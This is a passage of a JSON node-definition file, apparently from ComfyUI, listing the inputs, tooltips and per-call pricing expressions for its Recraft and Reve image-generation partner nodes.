"1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "size", "n", "seed"], "optional": ["recraft_style", "negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToImageNode", "display_name": "Recraft Text to Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageToImageNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "strength": ["FLOAT", {"tooltip": "Defines the difference with the original image, should lie in [0, 1], where 0 means almost identical, and 1 means miserable similarity.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "strength", "seed"], "optional": ["recraft_style", "negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageToImageNode", "display_name": "Recraft Image to Image", "description": "Modify image based on prompt and strength.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageInpaintingNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageInpaintingNode", "display_name": "Recraft Image Inpainting", "description": "Modify image based on prompt and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "substyle": ["COMBO", {"multiselect": false, "options": ["None", "bold_stroke", "chemistry", "colored_stencil", "contour_pop_art", "cosmics", "cutout", "depressive", "editorial", "emotional_flat", "engraving", "infographical", "line_art", "line_circuit", "linocut", "marker_outline", "mosaic", "naivector", "roundish_flat", "seamless", "segmented_colors", "sharp_contrast", "thin", "vector_photo", "vivid_shapes"]}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", "1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "substyle", "size", "n", "seed"], "optional": ["negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToVectorNode", "display_name": "Recraft Text to Vector", "description": "Generates SVG synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.08 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftVectorizeImageNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftVectorizeImageNode", "display_name": "Recraft Vectorize Image", "description": "Generates SVG synchronously from an input image.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftRemoveBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RecraftRemoveBackgroundNode", "display_name": "Recraft Remove Background", "description": "Remove background from image, and return processed image and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftReplaceBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftReplaceBackgroundNode", "display_name": "Recraft Replace Background", "description": "Replace background on image, based on provided prompt.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCrispUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCrispUpscaleNode", "display_name": "Recraft Crisp Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018crisp upscale\u2019 tool, increasing image resolution, making the image sharper and cleaner.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.004}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreativeUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreativeUpscaleNode", "display_name": "Recraft Creative Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018creative upscale\u2019 tool, boosting resolution with a focus on refining small details and faces.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3RealisticImage": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "b_and_w", "enterprise", "evening_light", "faded_nostalgia", "forest_life", "hard_flash", "hdr", "motion_blur", "mystic_naturalism", "natural_light", "natural_tones", "organic_calm", "real_life_glow", "retro_realism", "retro_snapshot", "studio_portrait", "urban_drama", "village_realism", "warm_folk"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3RealisticImage", "display_name": "Recraft Style - Realistic Image", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3DigitalIllustration": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "2d_art_poster", "2d_art_poster_2", "antiquarian", "bold_fantasy", "child_book", "child_books", "cover", "crosshatch", "digital_engraving", "engraving_color", "expressionism", "freehand_details", "grain", "grain_20", "graphic_intensity", "hand_drawn", "hand_drawn_outline", "handmade_3d", "hard_comics", "infantile_sketch", "long_shadow", "modern_folk", "multicolor", "neon_calm", "noir", "nostalgic_pastel", "outline_details", "pastel_gradient", "pastel_sketch", "pixel_art", "plastic", "pop_art", "pop_renaissance", "seamless", "street_art", "tablet_sketch", "urban_glow", "urban_sketching", "vanilla_dreams", "young_adult_book", "young_adult_book_2"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3DigitalIllustration", "display_name": "Recraft Style - Digital Illustration", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3LogoRaster": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["emblem_graffiti", "emblem_pop_art", "emblem_punk", "emblem_stamp", "emblem_vintage"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3LogoRaster", "display_name": "Recraft Style - Logo Raster", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3InfiniteStyleLibrary": {"input": {"required": {"style_id": ["STRING", {"tooltip": "UUID of style from Infinite Style Library.", "default": "", "multiline": false}]}}, "input_order": {"required": ["style_id"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3InfiniteStyleLibrary", "display_name": "Recraft Style - Infinite Style Library", "description": "Choose style based on preexisting UUID from Recraft's Infinite Style Library.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreateStyleNode": {"input": {"required": {"style": ["COMBO", {"tooltip": "The base style of the generated images.", "multiselect": false, "options": ["realistic_image", "digital_illustration"]}], "images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 5}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["style", "images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["style_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreateStyleNode", "display_name": "Recraft Create Style", "description": "Create a custom style from reference images. Upload 1-5 images to use as style references. Total size of all images is limited to 5 MB.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftColorRGB": {"input": {"required": {"r": ["INT", {"tooltip": "Red value of color.", "default": 0, "min": 0, "max": 255}], "g": ["INT", {"tooltip": "Green value of color.", "default": 0, "min": 0, "max": 255}], "b": ["INT", {"tooltip": "Blue value of color.", "default": 0, "min": 0, "max": 255}]}, "optional": {"recraft_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": ["r", "g", "b"], "optional": ["recraft_color"]}, "is_input_list": false, "output": ["RECRAFT_COLOR"], "output_is_list": [false], "output_name": ["recraft_color"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftColorRGB", "display_name": "Recraft Color RGB", "description": "Create Recraft Color by choosing specific RGB values.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftControls": {"input": {"required": {}, "optional": {"colors": ["RECRAFT_COLOR", {}], "background_color": ["RECRAFT_COLOR", {}]}}, "input_order": {"required": [], "optional": ["colors", "background_color"]}, "is_input_list": false, "output": ["RECRAFT_CONTROLS"], "output_is_list": [false], "output_name": ["recraft_controls"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftControls", "display_name": "Recraft Controls", "description": "Create Recraft Controls for customizing Recraft generation.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToImageNode", "display_name": "Recraft V4 Text to Image", "description": "Generates images using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.04, \"recraftv4_pro\": 0.25};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftV4TextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation. Maximum 10,000 characters.", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for generation.", "options": [{"key": "recraftv4", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1536x768", "768x1536", "1280x832", "832x1280", "1216x896", "896x1216", "1152x896", "896x1152", "832x1344", "1280x896", "896x1280", "1344x768", "768x1344"]}]}}}, {"key": "recraftv4_pro", "inputs": {"required": {"size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "2048x2048", "multiselect": false, "options": ["2048x2048", "3072x1536", "1536x3072", "2560x1664", "1664x2560", "2432x1792", "1792x2432", "2304x1792", "1792x2304", "1664x2688", "1434x1024", "1024x1434", "2560x1792", "1792x2560"]}]}}}]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "model", "n", "seed"], "optional": ["recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftV4TextToVectorNode", "display_name": "Recraft V4 Text to Vector", "description": "Generates SVG using Recraft V4 or V4 Pro models.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"recraftv4\": 0.08, \"recraftv4_pro\": 0.30};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.model) * widgets.n}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageCreateNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for generation.", "options": [{"key": "reve-create@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["3:2", "16:9", "9:16", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Upscale the generated image. May add additional cost.", "options": [{"key": "disabled", "inputs": {"required": {}}}, {"key": "enabled", "inputs": {"required": {"upscale_factor": ["INT", {"tooltip": "Upscale factor (2x, 3x, or 4x).", "default": 2, "min": 2, "max": 4, "step": 1}]}}}]}], "remove_background": ["BOOLEAN", {"tooltip": "Remove the background from the generated image. May add additional cost.", "default": false}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "upscale", "remove_background", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReveImageCreateNode", "display_name": "Reve Image Create", "description": "Generate images from text descriptions using Reve.", "python_module": "comfy_api_nodes.nodes_reve", "category": "partner/image/Reve", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscale", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscale.upscale_factor", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $factor := $lookup(widgets, \"upscale.upscale_factor\");\n $fmt := {\"approximate\": true, \"note\": \"(base)\"};\n widgets.upscale = \"enabled\" ? (\n $factor = 4 ? {\"type\": \"usd\", \"usd\": 0.0762, \"format\": $fmt}\n : $factor = 3 ? {\"type\": \"usd\", \"usd\": 0.0591, \"format\": $fmt}\n : {\"type\": \"usd\", \"usd\": 0.0457, \"format\": $fmt}\n ) : {\"type\": \"usd\", \"usd\": 0.03432, \"format\": $fmt}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReveImageEditNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The image to edit."}], "edit_instruction": ["STRING", {"tooltip": "Text description of how to edit the image. Maximum 2560 characters.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model version to use for editing.", "options": [{"key": "reve-edit@20250915", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}, {"key": "reve-edit-fast@20251030", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output image.", "multiselect": false, "options": ["auto", "16:9", "9:16", "3:2", "2:3", "4:3", "3:4", "1:1"]}], "test_time_scaling": ["INT", {"tooltip": "Higher values produce better images but cost more credits.", "advanced": true, "default": 1, "min": 1, "max": 5, "step": 1}]}}}]}], "upscale": ["COMFY_DYNAMICCOMBO_V3", 